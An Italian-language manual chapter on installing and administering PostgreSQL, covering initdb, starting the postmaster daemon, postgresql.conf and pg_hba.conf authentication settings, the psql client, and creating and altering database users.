Nell'esempio sono state usate anche due opzioni il cui significato dovrebbe risultare intuitivo.

Tabella 86.3. Alcune opzioni per l'uso di '**initdb**'.

Opzione	Descrizione
`--pgdata=`*directory_pgdata* `-D` *directory_pgdata*	Stabilisce la directory iniziale del sistema di basi di dati di PostgreSQL che si vuole creare. Di solito deve corrispondere a '`~postgres/data/`'.
`--locale=`*sigla_locale*	Stabilisce la configurazione locale. Se non viene utilizzata questa opzione si usa il contenuto delle variabili di ambiente '**LANG**' ed eventualmente '**LC_***'.
`--encoding=`*codifica* `-E` *codifica*	Stabilisce la codifica della base di dati usata come modello ('**template1**'), diventando di conseguenza la codifica predefinita per le nuove basi di dati. Tra le varie sigle che si possono usare vale la pena di ricordare '**UNICODE**', '**SQL_ASCII**'.

Teoricamente, '**initdb**' fa tutto quello che è necessario fare; in pratica potrebbe non essere così. La prima cosa da considerare sono i file di configurazione, che, seguendo l'esempio mostrato, vengono collocati nella directory '`~postgres/data/`'. Molto probabilmente la propria distribuzione GNU è organizzata per avere i file di configurazione in una directory '`/etc/postgresql/`', o simile. Se le cose stanno così, bisogna provvedere a sostituire i file di configurazione nella directory '`~postgres/data/`' con dei collegamenti simbolici appropriati.

Le distribuzioni GNU possono avere la necessità di passare alcune informazioni, tramite variabili di ambiente, all'utente fittizio '**postgres**', cosa che si ottiene con un file '`~postgres/.profile`' appropriato. Se si vuole ricreare la directory '`~postgres/`' da zero, ma si nota la presenza di file di configurazione della shell, è necessario accertarsi del loro contenuto e provvedere di conseguenza nella ricostruzione della directory.

Un'ultima questione importante da sistemare è la directory '`~postgres/dumpall/`', che serve a contenere versioni vecchie degli eseguibili di PostgreSQL, con lo scopo di recuperare i dati dalle versioni vecchie delle basi di dati. Normalmente è sufficiente recuperare la directory già usata in precedenza.

86.1.4 Avvio del servizio

Il DBMS di PostgreSQL si basa su un sistema cliente-servente, in cui, il programma che vuole interagire con una base di dati determinata deve farlo attraverso delle richieste inviate a un servente. In questo modo, il servizio può essere esteso anche attraverso la rete.

L'organizzazione di PostgreSQL prevede la presenza di un demone sempre in ascolto (può trattarsi di un socket di dominio Unix o anche di una porta TCP, che di solito corrisponde al numero 5432). Quando questo riceve una richiesta valida per iniziare una connessione, attiva una copia del servente vero e proprio (*back-end*), a cui affida la connessione con il cliente. Il demone in ascolto per le richieste di nuove connessioni è '**postmaster**', mentre il servente è '**postgres**'.

> Purtroppo, la scelta del nome «postmaster» è un po' infelice, dal momento che potrebbe far pensare all'amministratore del servizio di posta elettronica. Come al solito occorre un po' di attenzione al contesto in cui ci si trova.

Generalmente, il demone '**postmaster**' viene avviato attraverso la procedura di inizializzazione del sistema, in modo indipendente dal supervisore dei servizi di rete. In pratica, di solito si utilizza uno script collocato all'interno di '/etc/init.d/', o in un'altra collocazione simile, per l'avvio e l'interruzione del servizio.

Durante il funzionamento del sistema, quando alcuni clienti sono connessi, si può osservare una dipendenza del tipo rappresentato dallo schema seguente:

```
--postmaster-+-postgres
             |-postgres
             `-postgres
```

Il demone '**postmaster**' si occupa di restare in ascolto in attesa di una richiesta di connessione con un servente '**postgres**' (il programma terminale, o *back-end* in questo contesto). Quando riceve questo tipo di richiesta mette in connessione il cliente (programma frontale, o *front-end*) con una nuova copia del servente '**postgres**'.

postmaster [*opzioni*]

Per poter compiere il suo lavoro, il demone deve essere a conoscenza di alcune notizie essenziali, tra cui in particolare: la collocazione del programma '**postgres**' (se questo non è in uno dei percorsi della variabile '**PATH**') e la directory da cui si dirama il sistema di file che costituisce l'insieme delle varie basi di dati. Queste notizie possono essere predefinite, nella configurazione usata al momento della compilazione dei sorgenti, oppure possono essere indicate attraverso la riga di comando.

Il demone '**postmaster**' e i processi terminali da lui controllati, gestiscono dei file che compongono le varie basi di dati del sistema. Trattandosi di un sistema di gestione dei dati molto complesso, è bene evitare di inviare il segnale '**SIGKILL**' (9), perché con questo si provoca la conclusione immediata del processo destinatario e di tutti i suoi discendenti, senza permettere una conclusione corretta. Al contrario, gli altri segnali sono accettabili, come per esempio un '**SIGTERM**' che viene dato in modo predefinito quando si utilizza il comando '**kill**'.

Tabella 86.5. Alcune opzioni per l'avvio di '**postmaster**'.

Opzione	Descrizione
-D *directory_dei_dati*	Permette di specificare la directory di inizio della struttura dei dati del DBMS.
-S	Specifica che il programma deve funzionare in modo «silenzioso», senza emettere alcuna segnalazione, diventando un processo discendente direttamente da quello iniziale (Init), dissassociandosi dalla shell e quindi dal terminale da cui è stato avviato. Questa opzione viene utilizzata particolarmente per avviare il programma all'interno della procedura di inizializzazione del sistema, quando non sono necessari dei controlli di funzionamento.
-b *percorso_del_programma_terminale*	Se il programma terminale, ovvero '**postgres**', non si trova in uno dei percorsi contenuti nella variabile di ambiente '**PATH**', è necessario specificare la sua collocazione (il percorso assoluto) attraverso questa opzione.

Opzione	Descrizione
`-d` [*livello_di_diagnosi*]	Questa opzione permette di attivare la segnalazione di messaggi diagnostici (*debug*), da parte di '**postmaster**' e da parte dei programmi terminali, a più livelli di dettaglio: 1, segnala solo il traffico di connessione; 2, o superiore, attiva la segnalazione diagnostica anche nei programmi terminali, oltre ad aggiungere dettagli sul funzionamento di '**postmaster**'. Di norma, i messaggi diagnostici vengono emessi attraverso lo standard output da parte di '**postmaster**', anche quando si tratta di messaggi provenienti dai programmi terminali. Perché abbia significato l'uso di questa opzione, occorre avviare '**postmaster**' **senza l'opzione** '**-S**'.
`-i`	Abilita le connessioni TCP/IP. Senza l'indicazione di questa opzione, sono ammissibili solo le connessioni locali attraverso socket di dominio Unix (*Unix domain socket*).
`-p` ***porta***	Se viene avviato in modo da accettare le connessioni attraverso la rete (l'opzione '**-i**'), specifica una porta di ascolto diversa da quella predefinita (5432).

Segue la descrizione di alcuni esempi.

- `# su postgres -c 'postmaster -S -D/var/lib/postgres/data'` [*Invio*]

  L'utente '**root**', avvia '**postmaster**' dopo essersi trasformato temporaneamente nell'utente '**postgres**' (attraverso '**su**'), facendo in modo che il programma si disassoci dalla shell e dal terminale, diventando un discendente da Init. Attraverso l'opzione '**-D**' si specifica la directory di inizio dei file della base di dati.

- `# su postgres -c 'postmaster -i -S -D/var/lib/postgres/data'` [*Invio*]

  Come nell'esempio precedente, specificando che si vuole consentire, in modo preliminare, l'accesso attraverso la rete.

  > Per consentire in pratica l'accesso attraverso la rete, occorre anche intervenire all'interno del file di configurazione '`~postgres/pg_hda.conf`'.

- `# su postgres -c 'nohup postmaster -D/var/lib/postgres/data ↩`
  `↪ > /var/log/pglog 2>&1 &'` [*Invio*]

  L'utente '**root**', avvia '**postmaster**' in modo simile al precedente, dove in particolare viene diretto lo standard output all'interno di un file, per motivi diagnostici. Si osservi l'utilizzo di '**nohup**' per evitare l'interruzione del funzionamento di '**postmaster**' all'uscita del programma '**su**'.

- `# su postgres -c 'nohup postmaster -D/var/lib/postgres -d 1 ↩`
  `↪> /var/log/pglog 2>&1 &'` [*Invio*]

  Come nell'esempio precedente, con l'attivazione del primo livello diagnostico nei messaggi emessi.

Riquadro 86.6. Controllo diagnostico.

Inizialmente, l'utilizzo di PostgreSQL si può dimostrare poco intuitivo, soprattutto per ciò che riguarda le segnalazioni di errore, spesso troppo poco esplicite. In caso di difficoltà, per permettere di avere una visione un po' più chiara di ciò che accade, sarebbe bene fare in modo che '**postmaster**' produca dei messaggi diagnostici, possibilmente diretti a un file o a una console virtuale inutilizzata.
Per avere una visione immediata di ciò che accade, l'esempio seguente avvia '**postmaster**' in modo manuale e, oltre a conservare le informazioni diagnostiche in un file, le visualizza continuamente attraverso una console virtuale inutilizzata, che in questo caso è l'ottava:

su postgres [*Invio*]

$ **nohup postmaster -D/var/lib/postgres/data -d 1 ↩**
↪> /var/log/pglog 2>&1 & [*Invio*]

$ **exit** [*Invio*]

nohup tail -f /var/lib/postgres > /dev/tty8 & [*Invio*]

86.1.5 Configurazione del DBMS

Come già accennato, è possibile influenzare il comportamento del servente PostgreSQL attraverso opzioni della riga di comando e variabili di ambiente. Oltre a questi metodi, è possibile intervenire nel file '`~postgres/data/postgresql.conf`', attraverso direttive che assomigliano all'assegnamento di variabili. Il loro significato dovrebbe risultare intuitivo. Viene mostrato un estratto di esempio di questo file:

```
# PostgreSQL configuration file
…
#
# TCP/IP access is allowed by default, but the default access given in
# pg_hba.conf will permit it only from localhost, not other machines.
#
tcpip_socket = true
…
#
#       Message display
#
log_connections = true
log_pid = true
log_timestamp = true
…
#
#       Syslog
#
syslog = 2      # range 0-2
…
#
#       Misc
#
dynamic_library_path = '/usr/share/postgresql:/usr/lib/postgresql:/usr/lib/postgresql/lib'
…
#
# How (by default) to present dates to the frontend; the user can override
# this setting for his own session. The choices are:
#   Style      Date            Timestamptz
#   ----------------------------------------------------------------
```

```
#   ISO        1999-07-17      1999-07-17 07:09:18+01
#   SQL        17/07/1999      17/07/1999 07:09:19 BST
#   POSTGRES   17-07-1999      Sat 17 Jul 07:09:19 1999 BST
#   GERMAN     17.07.1999      17.07.1999 07:09:19 BST
#
# It is also possible to specify month-day or day-month ordering in date
# input and output.  Americans tend to use month-day; Europeans use
# day-month.  Specify European or US.  This is used for interpreting
# date input, even if the output format is ISO.  Separate the two parameters
# by a comma with no spaces
#
datestyle = 'ISO,European'
…
LC_MESSAGES = 'C'
LC_MONETARY = 'C'
LC_NUMERIC = 'C'
LC_TIME = 'C'
```

Si può osservare la direttiva '**`tcpip_socket = true`**', che abilita l'accesso al servente attraverso la rete, ma che richiede di specificare meglio le possibilità di accesso attraverso il file '`~postgres/data/pg_hba.conf`'.

Tabella 86.8. Elenco dei formati di data gestibili con PostgreSQL.

Stile	Descrizione	Esempio
`ISO`	ISO 8601	2010-12-31
`SQL`	Tipo tradizionale	12/31/2010
`POSTGRESQL`	Tipo specifico di PostgreSQL	12-31-2010
`GERMAN`		31.12.2010

Nel caso particolare della distribuzione GNU/Linux Debian, può essere controllato tutto a partire dai file che si trovano nella directory '`/etc/postgresql/`'. In particolare, si trova in questa directory il file '`pg_hba.conf`' e il file '`postgresql.conf`', già descritti in altre sezioni; inoltre, si trova un file aggiuntivo che viene interpretato dallo script della procedura di inizializzazione del sistema che si occupa di avviare e di arrestare il servizio. Si tratta dei file '`/etc/postgresql/postmaster.conf`', attraverso il quale si possono controllare delle piccole cose a cui non si può accedere con il file '`postgresql.conf`', che altrimenti richiederebbero di intervenire attraverso le opzioni della riga di comando del demone relativo.

86.1.6 Accesso e autenticazione

L'accesso alle basi di dati viene permesso attraverso un sistema di autenticazione. I sistemi di autenticazione consentiti possono essere diversi e dipendono dalla configurazione di PostgreSQL fatta all'atto della compilazione dei sorgenti.

Il file di configurazione '`pg_hba.conf`' (*Host-based authentication*), che si trova nella directory '`~postgres/data/`', serve per controllare il sistema di autenticazione una volta installato PostgreSQL.

L'autenticazione degli utenti può avvenire in modo incondizionato ('**trust**'), dove ci si fida del nome fornito come utente del DBMS, senza richiedere altro.

L'autenticazione può essere semplicemente disabilitata, nel senso di impedire qualunque accesso incondizionatamente. Questo può servire per impedire l'accesso da parte di un certo gruppo di nodi.

L'accesso può essere controllato attraverso l'abbinamento di una parola d'ordine agli utenti di PostgreSQL.

Inoltre, l'autenticazione può avvenire attraverso un sistema Kerberos, oppure attraverso il protocollo IDENT (sezione 48.3). In questo ultimo caso, ci si fida di quanto riportato dal sistema remoto il quale conferma o meno che la connessione appartenga a quell'utente che si sta connettendo.

Il file '`~postgres/data/pg_hba.conf`' (ma spesso questo è un collegamento simbolico che punta a '`/etc/postgresql/pg_hba.conf`' o a un'altra posizione simile) permette di definire quali nodi possono accedere al servizio DBMS di PostgreSQL, eventualmente stabilendo anche un abbinamento specifico tra basi di dati, utenti e nodi di rete.

Le righe vuote e il testo preceduto dal simbolo '**#**' vengono ignorati. I record (cioè le righe contenenti le direttive del file in questione) sono suddivisi in campi separati da spazi o caratteri di tabulazione. Il formato può essere semplificato nei due modelli sintattici seguenti, tenendo conto che esistono comunque altri casi:

```
local base_di_dati utente_dbms autenticazione_utente [mappa]
```

```
host base_di_dati utente_dbms indirizzo_ip maschera_degli_indirizzi autenticazione_utente [mappa]
```

Nel primo caso si intendono controllare gli accessi provenienti da programmi clienti avviati nello stesso sistema locale, utilizzando un socket di dominio Unix per il collegamento; nel secondo si fa riferimento ad accessi attraverso la rete (connessioni TCP).

- Il secondo campo del record serve a indicare il nome di una base di dati per la quale autorizzare l'accesso; in alternativa si può usare la parola chiave '**all**', in modo da specificare tutte le basi di dati in una sola volta.
- Il terzo campo del record serve a indicare il nome dell'utente del DBMS da autorizzare; in alternativa si può usare la parola chiave '**all**', in modo da rendere indifferente chi sia l'utente.
- I campi ***indirizzo_ip*** e ***maschera_degli_indirizzi*** rappresentano un gruppo di indirizzi di nodi che hanno diritto di accedere a quella base di dati determinata.
- Il campo ***autenticazione_utente*** rappresenta il tipo di autenticazione attraverso una parola chiave. Le più comuni sono elencate nella tabella 86.9.
- L'ultimo campo dipende dal penultimo. Nel caso di autenticazione '**ident**', si utilizza quasi sempre la parola chiave '**sameuser**' per indicare a PostgreSQL che i nomi usati dagli utenti nei sistemi remoti da cui possono accedere, coincidono con quelli predisposti per la gestione del DBMS. Nel caso di autenticazione '**password**', l'ultimo campo potrebbe rappresentare il nome del file di testo contenente le parole d'ordine.

Tabella 86.9. Parole chiave che possono essere usate nel campo ***autenticazione_utente***.

Autenticazione	Descrizione
`trust`	L'autenticazione non ha luogo e si accetta il nome fornito dall'utente senza alcuna verifica.
`reject`	La connessione viene rifiutata in ogni caso.
`password`	Viene richiesta una parola d'ordine riferita all'utente del DBMS.

`md5`
 	
`crypt`
	Viene richiesta una parola d'ordine riferita all'utente del DBMS, che però viene trasmessa in modo cifrato. Le due parole chiave si riferiscono a sistemi differenti; si osservi che, di solito, solo uno dei due sistemi può essere utilizzato, perché dipende dal modo in cui sono memorizzate le parole d'ordine. Pertanto, se uno dei due non funziona, si può tentare con l'altro (dopo aver verificato che comunque l'accesso con le parole d'ordine in chiaro funziona regolarmente).

`ident sameuser` `ident` ***mappa***	L'autenticazione avviene attraverso il sistema operativo locale, oppure con il protocollo IDENT per gli accessi remoti (sezione 48.3). Si usa questa modalità di riconoscimento, prevalentemente per gli accessi locali, ma in tal caso si mette quasi sicuramente anche l'opzione '**`sameuser`**', per fare riferimento allo stesso utente del sistema operativo. Se non si utilizza la parola chiave '**`sameuser`**', al suo posto va messo il nome di una «mappa», da definire in un altro file.
`pam` [***servizio***]	L'autenticazione avviene attraverso il sistema PAM (*Pluggable authentication modules*) del sistema operativo. Se non viene indicato il servizio PAM, si intende '**`postgresql`**'.

Segue la descrizione di alcuni esempi.

- ```
  local    all     all                                          trust
  ```
  Concede a tutti gli utenti di accedere localmente (tramite un socket di dominio Unix), a qualunque base di dati, senza bisogno di alcun riconoscimento (si accetta il nome e basta).

- ```
  host     all     all     127.0.0.1       255.255.255.255          trust
  ```
  Concede a tutti gli utenti di accedere localmente, ma tramite un socket di dominio Internet (l'indirizzo 127.0.0.1 e normalmente quello di ogni nodo, dal punto di vista locale), senza bisogno di alcun riconoscimento.

- ```
  local    all     all                                          ident sameuser
  ```
  Concede a tutti gli utenti di accedere localmente (tramite un socket di dominio Unix), a qualunque base di dati, sulla base del riconoscimento fatto dal sistema operativo (si intende che ci si affida ai privilegi che ha ottenuto il programma usato per accedere).

- ```
  host     all     all     127.0.0.1       255.255.255.255          ident sameuser
  ```
  Concede a tutti gli utenti di accedere localmente, ma tramite un socket di dominio Internet, sulla base del riconoscimento ottenuto tramite l'uso del protocollo di rete IDENT. Questo metodo può essere usato in alternativa a quello dell'esempio precedente, se per qualche ragione il riconoscimento locale (senza rete), non dovesse funzionare.

- ```
  host    gazie   pippo   192.168.0.0     255.255.0.0             password
  ```
  Concede all'utente '**pippo**' di accedere alla base di dati '**gazie**', da un nodo qualunque tra quelli che hanno indirizzi del tipo 192.168.*.*, attraverso l'indicazione di una parola d'ordine, che viene trasmessa in chiaro.

L'esempio seguente rappresenta una configurazione che potrebbe essere considerata «ragionevole», per poter utilizzare l'utente '**postgres**', localmente, senza bisogno di fornire una parola d'ordine (come richiesto dagli esempi mostrati in questo capitolo), consentendo agli altri utenti di accedere da una rete locale qualunque (lo si determina in base al fatto che si fa riferimento a indirizzi IPv4 privati), ma in tal caso si richiede un riconoscimento basato su una parola d'ordine:

```
#
# TYPE  DATABASE   USER      IP-ADDRESS     IP-MASK          METHOD
#
local   all        postgres                                  ident sameuser
#
local   all        all                                       password
host    all        all       127.0.0.1      255.0.0.0        password
host    all        all       192.168.0.0    255.255.0.0      password
host    all        all       172.16.0.0     255.240.0.0      password
host    all        all       10.0.0.0       255.0.0.0        password
#
host    all        all       0.0.0.0        0.0.0.0          reject
```

86.2 Gestione del DBMS

La gestione di un DBMS richiede di occuparsi di utenze e di basi di dati. PostgreSQL mette a disposizione degli script per facilitare la loro creazione ed eliminazione, ma in generale è meglio avvalersi di istruzioni SQL, anche se non sono standard.

Per poter impartire comandi in forma di istruzioni SQL, occorre collegarsi al DBMS attraverso un programma appropriato (di solito '**psql**'); per poter maneggiare gli utenti e le basi di dati è necessario disporre dei privilegi necessari. Generalmente, le prime volte si compiono queste operazioni in qualità di amministratore, pertanto con l'utenza '**postgres**'.

Per accedere al DBMS, occorre indicare una basi di dati, anche se le funzioni in questione non interagiscono direttamente con questa. Di solito, dato che inizialmente non è disponibile altro, ci si collega alla basi di dati '**template1**'.

Teoricamente, PostgreSQL non distingue tra lettere maiuscole e minuscole quando si tratta di nominare le basi di dati, le relazioni (le tabelle o gli oggetti a seconda della definizione che si preferisce utilizzare) e gli elementi che compongono delle relazioni. Tuttavia, in certi casi si verificano degli errori inspiegabili dovuti alla scelta dei nomi che in generale conviene indicare sempre solo con lettere minuscole.
```

86.2.1 Accesso a una base di dati

L'accesso a una base di dati avviene attraverso un cliente, ovvero un programma frontale, o *front-end*, secondo la documentazione di PostgreSQL. Questo programma si avvale generalmente della libreria LibPQ. PostgreSQL fornisce un programma cliente standard, '**`psql`**', che si comporta come una sorta di shell tra l'utente e la base di dati stessa.

Il programma cliente tipico, dovrebbe riconoscere le variabili di ambiente '**`PGHOST`**' e '**`PGPORT`**'. La prima serve a stabilire l'indirizzo o il nome di dominio del servente, indicando implicitamente che la connessione avviene attraverso una connessione TCP e non con un socket di dominio Unix; la seconda specifica il numero della porta, ammesso che si voglia utilizzare un numero diverso da 5432. L'uso di queste variabili non è indispensabile, ma serve solo per non dover specificare queste informazioni attraverso opzioni della riga di comando.

Il programma '**`psql`**' permette un utilizzo interattivo attraverso una serie di comandi impartiti dall'utente su una riga di comando; oppure può essere avviato in modo da eseguire il contenuto di un file o di un solo comando fornito tra gli argomenti. Per quanto riguarda l'utilizzo interattivo, il modo più semplice per avviarlo è quello che si vede nell'esempio seguente, dove si indica semplicemente il nome della base di dati sulla quale intervenire.

`$` **`psql mio_db`** [*Invio*]

```
Welcome to the POSTGRESQL interactive sql monitor:
  Please read the file COPYRIGHT for copyright terms of POSTGRESQL

   type \? for help on slash commands
   type \q to quit
   type \g or terminate with semicolon to execute query
 You are currently connected to the database: mio_db

mio_db=>_
```

Da questo momento si possono inserire le istruzioni SQL per la base di dati selezionata, in questo caso '**`mio_db`**', oppure si possono inserire dei comandi specifici di '**`psql`**'. Questi ultimi si notano perché sono composti da una barra obliqua inversa ('**`\`**'), seguita da un carattere.

Il comando interno di '**`psql`**' più importante è '**`\h`**' che permette di visualizzare una guida rapida alle istruzioni SQL che possono essere utilizzate.

`=>` **`\h`** [*Invio*]

```
type \h <cmd> where <cmd> is one of the following:
    abort                    abort transaction        alter table
    begin                    begin transaction        begin work
    cluster                  close                    commit
…
type \h * for a complete description of all commands
```

Nello stesso modo, il comando '**`\?`**' fornisce un riepilogo dei comandi interni di '**`psql`**'.

`=>` **`\?`** [*Invio*]

```
\?           -- help
\a           -- toggle field-alignment (currenty on)
\C [<captn>] -- set html3 caption (currently '')
...
```

Tutto ciò che '**psql**' non riesce a interpretare come un suo comando interno viene trattato come un'istruzione SQL. Dal momento che queste istruzioni possono richiedere più righe, è necessario informare '**psql**' della conclusione di queste, per permettergli di analizzarle e inviarle al servente. Queste istruzioni possono essere terminate con un punto e virgola ('**;**'), oppure con il comando '**\g**'.

Si può osservare, utilizzando '**psql**', che l'invito mostrato cambia leggermente a seconda del contesto: inizialmente appare nella forma '**=>**', mentre quando è in corso l'inserimento di un'istruzione SQL non ancora terminata si trasforma in '**->**'. Il comando '**\g**' viene usato prevalentemente in questa situazione.

-> **\g** [*Invio*]

Le istruzioni SQL possono anche essere raccolte in un file di testo normale. In tal caso si può utilizzare il comando '**\i**' per fare in modo che '**psql**' interpreti il suo contenuto, come nell'esempio seguente, dove il file in questione è 'mio_file.sql'.

=> **\i mio_file.sql** [*Invio*]

Nel momento in cui si utilizza questa possibilità (quella di scrivere le istruzioni SQL in un file facendo in modo che poi questo venga letto e interpretato), diventa utile il poter annotare dei commenti. Questi sono iniziati da una sequenza di due trattini ('**--**'), come prescrive lo standard, e tutto quello che vi appare dopo viene ignorato.

La conclusione del funzionamento di '**psql**' si ottiene con il comando '**\q**'.

=> **\q** [*Invio*]

Per l'avvio di '**psql**' si può usare la sintassi seguente. L'opzione '**-f**' consente di indicare un file contenente istruzioni SQL da eseguire subito; in alternativa, un file di questo tipo può essere fornito attraverso lo standard input.

psql [***opzioni***] [***base_di_dati***]

psql -f ***file_di_istruzioni*** [***altre_opzioni***] [***base_di_dati***]

cat ***file_di_istruzioni*** | psql [***opzioni***] [***base_di_dati***]

Il programma '**psql**' può funzionare solo in abbinamento a una base di dati determinata. In questo senso, se non viene indicato il nome di una base di dati nella riga di comando, '**psql**' tenta di utilizzarne una con lo stesso nome dell'utente. Per la precisione, si fa riferimento alla variabile di ambiente '**USER**'.

Questo dettaglio dovrebbe permettere di comprendere il significato della segnalazione di errore che si ottiene se si tenta di avviare '**psql**' senza indicare una base di dati, quando non ne esiste una con lo stesso nome dell'utente.

Tabella 86.19. Alcune opzioni per l'avvio di '**psql**'.

Opzione	Descrizione
`-c` ***istruzione_sql*** `--command` ***istruzione_sql***	Permette di fornire un'istruzione SQL già nella riga di comando, ottenendone il risultato attraverso lo standard output e facendo terminare subito dopo l'esecuzione di '**psql**'. Questa opzione viene usata particolarmente in abbinamento a '**-q**'.
`-d` ***base_di_dati*** `--dbname` ***base_di_dati***	Permette di indicare il nome della base di dati da utilizzare. Può essere utile quando per qualche motivo potrebbe essere ambigua l'indicazione del suo nome come ultimo argomento.
`-f` ***file_di_istruzioni*** `--file` ***file_di_istruzioni***	Permette di fornire a '**psql**' un file da interpretare contenente le istruzioni SQL (oltre agli eventuali comandi specifici di '**psql**'), senza avviare così una sessione di lavoro interattiva.
`-h` ***nodo*** `--host` ***nodo***	Permette di specificare il nodo a cui connettersi per l'interrogazione del servente PostgreSQL.
`-H` `--html`	Fa in modo che l'emissione in forma tabellare avvenga utilizzando il formato HTML. In pratica, ciò è utile per costruire un risultato da leggere attraverso un navigatore ipertestuale.
`-o` ***file_output*** `--output` ***file_output***	Fa in modo che tutto l'output venga inviato nel file specificato dall'argomento.
`-p` ***porta*** `--port` ***porta***	Nel caso in cui '**postmaster**' sia in ascolto su una porta TCP diversa dal numero 5432 (corrispondente al valore predefinito), si può specificare con questa opzione il numero corretto da utilizzare.
`-q` `--quiet`	Fa sì che '**psql**' funzioni in modo «silenzioso», limitandosi all'emissione pura e semplice di quanto generato dalle istruzioni impartite. Questa opzione è utile quando si utilizza '**psql**' all'interno di script che devono occuparsi di rielaborare il risultato ottenuto.
`-t` `--tuple-only`	Disattiva l'emissione dei nomi degli attributi. Questa opzione viene utilizzata particolarmente in abbinamento con '**-c**' o '**-q**'.
`-T` ***opzioni_tabelle_html*** `--table-attr` ***opzioni_tabelle_html***	Questa opzione viene utilizzata in abbinamento con '**-H**', per definire le opzioni HTML delle tabelle che si generano. In pratica, si tratta di ciò che può essere inserito all'interno del marcatore di apertura della tabella: '**<TABLE ...>**'.
`-U` ***utente*** `--username` ***utente***	Consente di specificare il nome dell'utente del DBMS.
`-W` `--password`	Forza '**psql**' a richiedere una parola d'ordine, in ogni caso.

Tabella 86.20. Alcuni comandi che '**psql**' riconosce durante il funzionamento interattivo.

Comando	Descrizione
`\h` [*comando*]	L'opzione '**\h**' usata da sola, elenca le istruzioni SQL che possono essere utilizzate. Se viene indicato il nome di una di queste, viene mostrata in breve la sintassi relativa.
`\?`	Elenca i comandi interni di '**psql**', cioè quelli che iniziano con una barra obliqua inversa ('****').
`\l`	Elenca tutte le basi di dati presenti nel servente. Ciò che si ottiene è una tabella contenente rispettivamente: i nomi delle basi di dati, i numeri di identificazione dei rispettivi amministratori (gli utenti che li hanno creati) e il nome della directory in cui sono collocati fisicamente.
`\connect` ***base_di_dati*** ↩ ↪ [***nome_utente***]	Chiude la connessione con la base di dati in uso precedentemente e tenta di accedere a quella indicata. Se il sistema di autenticazione lo consente, si può specificare anche il nome dell'utente con cui si intende operare sulla nuova base di dati. Generalmente, ciò dovrebbe essere impedito. Se si utilizza un'autenticazione basata sul file '`pg_hba.conf`', l'autenticazione di tipo '**trust**' consente questo cambiamento di identificazione, altrimenti, il tipo '**ident**' lo impedisce.
`\d` [*relazione*]	L'opzione '**\d**' usata da sola, elenca le relazioni contenute nella base di dati, altrimenti, se viene indicato il nome di una di queste relazioni, si ottiene l'elenco degli attributi. Se si utilizza il comando '**\d ***', si ottiene l'elenco di tutte le relazioni con le informazioni su tutti gli attributi rispettivi.
`\i` ***file***	Con questa opzione si fa in modo che '**psql**' esegua di seguito tutte le istruzioni contenute nel file indicato come argomento.
`\q`	Termina il funzionamento di '**psql**'.

Segue la descrizione di alcuni esempi.

- `$` **`psql mio_db`** [*Invio*]

  Cerca di connettersi con la base di dati '**mio_db**' nel nodo locale, riferendosi alla stessa utenza riconosciuta dal sistema operativo, utilizzando il meccanismo del socket di dominio Unix.

- `$` **`psql -d mio_db`** [*Invio*]

  Esattamente come nell'esempio precedente, con l'uso dell'opzione '**-d**' che serve a evitare ambiguità sul fatto che '**mio_db**' sia il nome della base di dati.

- `$` **`psql -U tizio -d mio_db`** [*Invio*]

  Come nell'esempio precedente, ma specificando che si intende accedere in qualità di utente '**tizio**'.

- `$` **`psql -U tizio -W -d mio_db`** [*Invio*]

  Come nell'esempio precedente, ma forzando in ogni caso la richiesta di inserimento di una parola d'ordine.

- $ **psql -U tizio -W -h dinkel.brot.dg -d mio_db** [*Invio*]

  Come nell'esempio precedente, ma questa volta l'accesso viene fatto a una base di dati con lo stesso nome presso il nodo *dinkel.brot.dg*.

- $ **psql -U tizio -W -f istruzioni.sql -d mio_db** [*Invio*]

  Cerca di connettersi con la base di dati '**mio_db**' nel nodo locale, utilizzando il meccanismo del socket di dominio Unix, quindi esegue le istruzioni contenute nel file 'istruzioni.sql'.

- $ **psql -U tizio -W -d mio_db < istruzioni.sql** [*Invio*]

  Come nell'esempio precedente, ricevendo il contenuto del file 'istruzioni.sql' dallo standard input.

86.2.1.1 Variabile di ambiente «PAGER»

Il programma '**psql**' è sensibile alla presenza o meno della variabile di ambiente '**PAGER**'. Se questa esiste e non è vuota, '**psql**' utilizza il programma indicato al suo interno per controllare l'emissione dell'output generato. Per esempio, se contiene '**less**', come si vede nell'esempio seguente che fa riferimento a una shell POSIX o compatibile con quella di Bourne, si fa in modo che l'output troppo lungo venga controllato da Less:

```
PAGER=less
export PAGER
```

Per eliminare l'impostazione di questa variabile, in modo da ritornare allo stato predefinito, basta annullare il contenuto della variabile nel modo seguente:

```
PAGER=
export PAGER
```

86.2.2 Organizzazione degli utenti

La creazione di un utente per il DBMS si ottiene con l'istruzione '**CREATE USER**', che nel modello seguente appare in modo semplificato:

```
CREATE USER nome_utente
    [WITH [PASSWORD 'parola_d'ordine']
        [CREATEDB|NOCREATEDB|CREATEUSER|NOCREATEUSER]]
```

Si comprende intuitivamente il significato delle parole chiave delle opzioni finali, con le quali è possibile concedere o negare i privilegi di creare o eliminare delle basi di dati e di creare o eliminare degli utenti. Si osservi che la parola d'ordine va indicata esattamente tra apici singoli. Se si omettono le opzioni finali, i privilegi relativi vengono negati, come se fossero state specificate implicitamente le parole chiave '**NOCREATEDB**' e '**NOCREATEUSER**'.

L'uso della parola chiave '**CREATEUSER**' nella creazione o nella modifica di un'utenza, concede a questa la facoltà di creare o eliminare delle utenze, senza limitazioni, oltre che di creare ed eliminare delle basi di dati. In altri termini, dà all'utente il ruolo di amministrazione del DBMS, con tutti i poteri necessari.

L'esempio seguente mostra i passaggi per la creazione, presso il DBMS locale, dell'utente '**tizio**' (con una parola d'ordine di esempio) a cui viene concesso di creare delle basi di dati, ma non di gestire delle utenze:

```
# su postgres [Invio]
```

```
postgres$ psql template1 [Invio]
```

```
template1=# CREATE USER tizio WITH PASSWORD 'segreta' ↩
↪           CREATEDB NOCREATEUSER; [Invio]
```

```
CREATE USER
```

```
template1=# \q [Invio]
```

```
postgres$ exit [Invio]
```

Così come è stato creata, le caratteristiche di un'utenza possono essere modificate con l'istruzione '**ALTER USER**', per esempio per modificare la parola d'ordine:

```
ALTER USER nome_utente
    [WITH [PASSWORD 'parola_d'ordine']
        [CREATEDB|NOCREATEDB]
        [CREATEUSER|NOCREATEUSER] ]
```

Logicamente, se si tratta di modificare la parola d'ordine, può essere lo stesso utente che esegue questa istruzione; altrimenti, per cambiare i privilegi, è necessario che intervenga un utente che ha maggiori facoltà. Nell'esempio seguente, l'utente '**tizio**' creato in quello precedente, modifica la sua parola d'ordine; si osservi che la scelta della base di dati '**template1**' è puramente casuale:

```
$ psql --username tizio template1 [Invio]
```

```
Password: digitazione_all'oscuro [Invio]
```

```
template1=> ALTER USER tizio WITH PASSWORD 'segretissima'; [Invio]
```

```
ALTER USER
```

```
template1=> \q [Invio]
